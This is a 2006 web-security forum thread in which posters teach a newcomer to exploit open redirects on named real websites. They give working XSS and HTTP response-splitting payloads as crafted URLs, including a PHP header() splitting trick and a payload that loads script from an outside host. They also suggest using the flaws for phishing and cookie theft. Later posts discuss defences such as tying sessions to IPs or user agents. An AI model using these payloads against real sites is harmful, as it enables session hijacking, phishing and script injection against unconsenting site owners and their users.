So I found a page very vulnerable to XSS, or at least I think I did.

The url contains "index.php?page=[.html"____I can replace url.html with "http]

It'd be much easier if you post the site.. as i can walk you through it as an example .. but let me go dig through the So It Begins thread for a similar example..

-maluc

Okie, here's a somewhat similar example.. but this really depends on how it's loading google as there's 3 ways of doing so, each needing a different approach

Here the one yours probably is: http://www.brasilecodiesel.com.br/links/index.php .. Going to that page and looking at any of the links in black, you'll see links like this http://www.brasilecodiesel.com.br/links/index.php?redir=le&acai3_cod=330787&url=http%3A%2F%2Fwww.mme.gov.br index.php?redir=le&acai3_cod=330787&url=http%3A%2F%2Fwww.mme.gov.br

First we try changing that link to google.com index.php?redir=le&acai3_cod=330787&url=http%3A%2F%2Fwww.google.com and yay, we're redirected to google instead.

This is a redirection, specifically a Type 302 Redirect

Quote

http://www.brasilecodiesel.com.br/links/index.php?redir=le&acai3_cod=330787&url=http%3A%2F%2Fwww.mme.gov.br

GET /links/index.php?redir=le&acai3_cod=330787&url=http%3A%2F%2Fwww.mme.gov.br HTTP/1.1
Host: www.brasilecodiesel.com.br
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: CNETSERVERLOGACAO=67390

HTTP/1.x 302 Found
Date: Sun, 08 Oct 2006 03:52:23 GMT
Server: Apache/1.3.33 (Debian GNU/Linux) mod_gzip/1.3.26.1a PHP/4.3.10-16 mod_ssl/2.8.22 OpenSSL/0.9.7e
X-Powered-By: PHP/4.3.10-16
Location: http://www.mme.gov.br?from=Brasil+Ecodiesel
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1

With redirects like this, about their only uses are for phishing (since you can redirect them to a page that mimics brasilecodiesel.com.br's login page) and for response splitting. Response splitting is even better, because it allows XSSing.

There's many variations to doing so, and i don't understand most but you try to use these for the url:
%0AContent-Type:html%0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
%0AContent-type:%20text/html%0A%0Ahttp%3A//www.test.com/%3Cscript%3Ealert(%22XSS%22)%3C/script%3E&term=blah&topicname=%2FHome&origin=www.sony.com&pagenum=1
%0AContent-Type:html%0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3Ehttp%3A//www.test.com
http://%0d%0a%0d%0a%3Cscript+src%3Dhttp%3A%2F%2Fnewbert.org%2Fbfb.js%3E%3C%2Fscript%3E
(ripped from HTTP Response splitting thread) http://sla.ckers.org/forum/read.php?3,880

You'll notice that the first one works.. http://www.brasilecodiesel.com.br/links/index.php?redir=le&acai3_cod=314228&url=%0AContent-Type:html%0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3E although wait 15 seconds for it to timeout..

This only works for 301/302 redirects..

-maluc

That first type works for 301/302/307 Type redirects. The second most common type of redirection is from meta redirects or javascript. You usually see these when it first shows a "You are now leaving this website" page .. and after a couple seconds (or sometimes zero seconds) it redirects you. An example of a meta redirect: http://www.nscp.org/cgi-bin/leave.pl?redir=google.com

As you can see, it redirects to google after 3 seconds, because of

<meta http-equiv=refresh content="3;url=http://google.com/">

When that number is zero, it's immediate and behaves very similar to a 302 redirect. For example: http://bestbuy.com . You might assume thats a 302 redirect but if you disable meta redirects using firefox's WebDeveloper extension for example.. you'll see that it's actually just a blank page with:

<META HTTP-EQUIV=Refresh CONTENT="0; URL=/site/index.jsp">

The other part of this same category are javascript redirections, like http://scripts.sitesled.com/javascriptredir.html?http://google.com .. we exploit both of these with the same methods.

1.) javascript:alert(1)
2.) data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K
3.) "><script>alert("XSS")</script> OR '><script>alert('XSS')</script>
4.) " style="-moz-binding:url('http://ha.ckers.org/xssmoz.xml%23xss')%3Bxx:expression(alert(1))

The last two are specific to meta injection .. and as you probably noticed, this is no different than normal XSS injecting.

Results:
http://nscp.org/cgi-bin/leave.pl?redir=%3Cscript%3Ealert('XSS')%3C/script%3E <--plain HTML injection, unrelated.
http://nscp.org/cgi-bin/leave.pl?redir=google.com%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E <-- method 3
http://nscp.org/cgi-bin/leave.pl?redir=google.com%22%20style=%22-moz-binding:url('http://ha.ckers.org/xssmoz.xml%23xss')%3Bxx:expression(alert(1%29%29 <-- method 4
http://scripts.sitesled.com/javascriptredir.html?javascript:alert(%22XSS%22%29 <-- method 1
http://scripts.sitesled.com/javascriptredir.html?data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K <-- method 2

-maluc

EvanWilson, assuming maluc spent ten min on that, you owe him 4 beers, and an introduction to the blonde.

-id

From maluc's first post to last so (so far) was 6 and a half hours. That's 126 beers and 29 blonds by my count.

Don't forget our IRC: irc://irc.irchighway.net/#slackers
-WhiteAcid - your friendly, very lazy, web developer

To add a bit to the response splitting part, I bumped earlier into a redirect done with the following PHP code:

$landing_page = $_GET["redirect"];    
header("Location: http://".$_SERVER["HTTP_HOST"]."/$landing_page");

Now that's interesting, because even if you %0a at the beginning of redirect=, there's still a perfectly good Location: header that every browser will redirect to rather than parse the html markup you injected.
Fortunately, this is PHP, and the PHP header() command is known to do really smart stuff. kinda.
so ?redirect=%0aContent-type:html%0a%0a%3Cscript%3Ealert(0)%3C/script%3E fails.
What about
?redirect=%0aLocation:%0aContent-type:html%0a%0a%3Cscript%3Ealert(0)%3C/script%3E ?

On some environments, you'd end up with the server sending two Location: headers, one valid, one invalid, and you'd have to end up praying most browsers get lazy.
With PHP however, the header() command makes sure only the latest Location: header gets sent. So we always win.
We end up having the server sending something like

HTTP/1.1 302
Date: Sun, 08 Oct 2006 10:02:51 GMT
Server: Apache
Location: 
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html

1d 
<script>alert(0)</script>


0

That's great, and it works perfectly in Firefox.
IE6 and IE7, on the other hand, don't give up there. For whatever reason, they interpret that empty Location: line as an invitation to redirect to / on the same host.
Maybe it's the "302" http code that made IE feel like it had to.
So next I tried ?redirect=%0aStatus:201%0aLocation:%0aContent-type:text/html%0a%0a%3Cscript%3Ealert(0)%3C/script%3E
Again, this relies on the PHP header() function recognizing the "Status:" header and interpreting it as an attempt to change the HTTP status code. Smart function, like I said.
Why "201" and what does it mean? Well, because I tried "200" first, which didn't work, and no idea. respectively.

Anyway, that one works in Firefox, Opera and IE6 and 7, so it's a keeper for me.

omfg, i was putting the finishing touches on the third installment.. and testing a xx:expression(alert(location.href)) in IE7 when my good friend Bill sends me the Blue Screen of Death. So fuck it. i'll right that one later cuz i don't feel like rewriting.. but it's about pages which proxy the requested page to you. just like what google's Translator does.

Be careful with xx:expression() though, it's not the first time its crashed IE for me. Its sad when BSODs make you drink =__=

Interesting example metal.. i'll have to keep it in mind when splitting responses, although i'm not sure i'll remember it by the time i run accross it :/

PC Load Letter? What the fuck does that mean? i need a beer.
-maluc

Maluc, I definately owe you, but I'm not old enough to buy beer...

I tried all those methods, and none of them worked, and then I realized I had javascript disabled (with the web developer toolbar, what a coincidence). I turned it on, and tried "method 1" for the scripts.sitesled.com thing, and it worked.

The url is http://www.itsf.org/index.php?PAGE=contest%2Findex.html

I replace context%2Findex.html with whatever page I want, but I need the http:// to be there for it to work.

I'm trying to decipher all your posts, and I think I understand them, but I may have to reread them.

I'll keep y'all updated, and I go to that site to mess around a bit, so hopefully you don't put a cookie stealer on it or anything :P

Which isn't really an issue for me, because my browser is set to like, delete cookies when I leave the site or something.

Thanks for the help everyone.

Hahah... it happens alllll the time, EvanWilson. It happens to me about once a day... I'm looking at the source and going "Wtf? Why wouldn't this work" Oops... JS turned off. Or Flash turned off, or Java turned off, or referrers turned off... or something else randomly turned off. It definitely happens to all of us at one point or another.

- RSnake
Gotta love it. http://ha.ckers.org

lol, i think we all do it fairly often _-_ .. and especially if it's late at nite, can take quite a while for me to figure it out.

As for the third type.. i still don't feel like redoing it. i realllly hate redoing stuff i already did well. So here's a half-asked version:

The third type is when the page acts essentialy like a proxy.. the server sends out the request to the page specified, retrieves it then displays it for you.. The biggest used example of this is google's Translator service: http://translate.google.com/translate?u=http%3A%2F%2Fmaluc.sitesled.com%2Fxss.html&langpair=ar%7Cen&hl=en&ie=UTF-8&oe=UTF-8&prev=%2Flanguage_tools .. As you can see fromt he alert box, the domain isn't maluc.sitesled.com but instead an ip address run by google. (So this isn't a perfect example, as it sends it to another server to perform in order to prevent CSRF). In any case, it didn't redirect you, it downloaded the page for you instead. The easiest way to tell these apart is because the domain in the address bar never changes. If the domain doesn't change, it's either this or because of frames/iframes. Ah crap, so i guess that counts as a fourth way. However, frames/iframes are handled like normal XSS. Either break out of the iframe/frameset tag, or add in an attribute (style="") ..

Back to this third type. We'll use this site as an example http://www.adidas.com/scripts/cud/cud.asp?call=registeremail&Postprocessor=http%3A%2F%2Fwww%2Eadidas%2Ecom%2Fus%2Fregister%2FNewGetConnected%2Fregister%2Easp&firstname=a&lastname=a&dateofbirth_dd=01&dateofbirth_mm=01&dateofbirth_yyyy=1901&email=a%40yahoo%2Ecom&country=us&acceptmail=off&language=en&mailformat=3&postcode=a&mobile=a&sex=m&siteID=100&sport=0&FormID=2&LongForm=TRUE&Subscriptions=S12%2CS9%2CS7%2CS16%2CS23%2CS28%2CS29%2CS15%2CS25%2CS26%2CS22%2CS21%2CS30%2CS2%2CS3%2CS19&SubscriptionValues=0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0&Questions=Q15&Answers=ATT&hdnSource=NewGetConnected&strBrand=heritage&error= .. This is the page that process the signup form found here: http://www.adidas.com/us/register/newgetconnected/register.asp?strCountry=us&strBrand=heritage&lpos=Header&lid=SignUp . When we change the address in Postprocessor, we'll find that it's actually passing all those variables in a POST to it. We also find from testing that all the variables can be removed except dateofbirth_dd/dateofbirth_mm/dateofbirth_yyyy .. leaving us with http://www.adidas.com/scripts/cud/cud.asp?call=registeremail&Postprocessor=http://www.google.com/&dateofbirth_dd=1&dateofbirth_mm=1&dateofbirth_yyyy=1 (Note: google.com/ and google.com/blah will work.. but google.com won't - for this particular example).

Google can't handle random POSTs, thus we see google's 501 error page .. but you get the idea. These types of redirects don't need any exploiting at all. The domain never changes, and you have access to the cookies .. so they're pretty ideal candidates for nefarious deeds. Also, that free webhost i use doesn't allow php/cgi/perl/etc so it can't handle POSTs either.. so i routed it through tinyurl.com to strip the POST out.

Result: http://www.adidas.com/scripts/cud/cud.asp?call=registeremail&Postprocessor=http://tinyurl.com/jsfzv&dateofbirth_dd=1&dateofbirth_mm=1&dateofbirth_yyyy=1

-maluc



Edited 1 time(s). Last edit at 10/09/2006 01:24AM by maluc.

http://www.brasilecodiesel.com.br/links/index.php?redir=le&acai3_cod=314228&url=%0AContent-Type:html%0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3E

Why doesn't the %0a get urlencoded into %250a ?

Percents aren't encoded by the browser. They may be by the server, but that's another issue entirely. Ususally the server DE-codes it taking the % and the next two digits (in hex) and turning it into the ASCII equivalent string.

- RSnake
Gotta love it. http://ha.ckers.org

rsnake, I think beetleflux is slightly puzzled due to this post: http://www.criticalsecurity.net/index.php?showtopic=16557&hl=
I'm too drunk to write any more so I'll just hope someone else will write something here.

Is it me or is this site basically a collection of drunks?

Don't forget our IRC: irc://irc.irchighway.net/#slackers
-WhiteAcid - your friendly, very lazy, web developer



Edited 1 time(s). Last edit at 10/10/2006 02:12PM by WhiteAcid.

WhiteAcid Wrote:
-------------------------------------------------------
> Is it me or is this site basically a collection of
> drunks?

It's not just you.

- Kyran

Oh, crap, that was confusing... Sorry, I wasn't watching the thread on the other board. Maybe if I could drink at work it would have made more sense. Oh well, almost time to knock off work and grab a cold one.

- RSnake
Gotta love it. http://ha.ckers.org

someone call a drunk?

-id

EvanWilson Wrote:
-------------------------------------------------------
> so hopefully you don't put a cookie stealer on it or anything :P
>
> Which isn't really an issue for me, because my browser is set to like, delete
> cookies when I leave the site or something.

As far as I know, that setting doesn't help much against cookie stealing - they are still valid on the server, only deleted in the browser. It helps against some other cookie-based attacks and with privacy issues, but not to majority of cookie-stealing attacks.

Good point... deleting them from your browser doesn't log you out. If someone else takes the cookies (and they aren't bound to the browser somehow) they can re-use them regardless if you don't have access to them anymore or not.

- RSnake
Gotta love it. http://ha.ckers.org

Rsnake, maybe you are onto something. If we can further fingerprint browsers, perhaps we can also use it as a security device. If you aren't coming from misc-OS using misc-browser, the cookie becomes invalid and the session dies. ( http://ha.ckers.org/weird/env.html could help) Most people don't visit the same site from different browsers. Most people seem to only open one browser if a site requires it. ( firefox users opening IE to see a particular IE-only site ).

Other javascript malware would still be rampant and it would not fix your XSS holes but it would protect the user somewhat from cookietheft.

- Kyran

I've already been working on this for some time. I've built these types of tools for fortune 500 type companies and I've got a signature of around 50,000 search engine signatures for SEO purposes. The problem is lack of genetic diversity in browser signatures for things like Internet Explorer on XP. But it is helpful, don't get me wrong. Highly interesting results. When combined with TCP time and other variables it can start to be very predictive. But I suggest things like this if you are going to think about tracking without cookies we should start looking at this stuff again: http://ha.ckers.org/blog/20060820/3-ways-to-get-tracked-online/

- RSnake
Gotta love it. http://ha.ckers.org

My site criticalsecurity.net already kills the session if the same session ID is used by multiple user agents or by multiple IPs. This means that cookies can only be stolen from within the same LAN and using the same browser (but using the same browser is trivial).

Don't forget our IRC: irc://irc.irchighway.net/#slackers
-WhiteAcid - your friendly, very lazy, web developer



Edited 1 time(s). Last edit at 10/16/2006 09:03AM by WhiteAcid.

That is a great solution, I try to use similar too (esp. in intranet applications), but it has flaws for some sites, where users want to have the session stored for longer. Those using anonymous proxies or dynamic IPs (like I do) are logged off sometimes (usually in most unwanted moments, like filling a very long form).

I think a good solution is such cases is not to kill a session, but to keep it's data and ask for a password - if given correct, the form gets submitted properly and the session IP changes. If not, ask again.

Regenerating session id may be also useful against cookie stealing.

I think all of this talk of tying sessions to IP addresses is interesting but it falls flat on a few different places. The first is the mobile computing problem. If someone is walking around with a web enabled phone forget it. The second is companies like AOL that use mega caches for their requests and it is not unusual for a user to switch caches mid-connection. Since AOL users make up a huge percentage of internet traffic and you don't want them having to log in every few minutes the concept of IP based tokens aren't particularly valid for large enterprises that value state management for their consumers.

- RSnake
Gotta love it. http://ha.ckers.org

While that's true people haven't really complained yet, though maybe that's because they haven't been able to :p
I'm sure I'd be getting a few emails if people were really pissed off. But yeah, it is something I have been considering dropping.

Don't forget our IRC: irc://irc.irchighway.net/#slackers
-WhiteAcid - your friendly, very lazy, web developer

I mean... really... that's what cookies are for. If they were less volitile and less prone to theft/visibility to JavaScript/XMLHTTPRequest cookies would be ideal.

- RSnake
Gotta love it. http://ha.ckers.org

By the way... I've seen an intranet service which use it's own implementation of session with id passed by URL instead of a cookie - it was XSS-able, but only with a reflected, not persistent type.
Do I miss something, or such vulnerability cannot be practically used? If you don't know the URL session id, you can't use reflected XSS. That service does not have any outgoing links, images or anything, so also Referer vulnerability does not exist. All the pages are displayed inside popup windows without address bar, so there is no risk someone will just read the session id over your shoulder.

What would you say about other potential vulnerabilities of such session implementation?

If there are _any_ XSSs on the site the session id is read-able. But you're right, if you can't find anything else on the site (expect vulnerability in apache) that can leak that information there isn't a hole.

But this isn't any different than a nonce to stop CSRF in general... all the same benefits and issues. I was asked today if sla.ckers.org was going to start indexing CSRF. I felt like it was doubtful simply because most of the time it requires you to have a username and password to even test it. What do you guys think?

- RSnake
Gotta love it. http://ha.ckers.org

Related article: http://www.darkreading.com/document.asp?doc_id=107651&f_src=darkreading_section_296

- RSnake
Gotta love it. http://ha.ckers.org

Perhaps CSRF for sites that have bugmenot accounts only?

- Kyran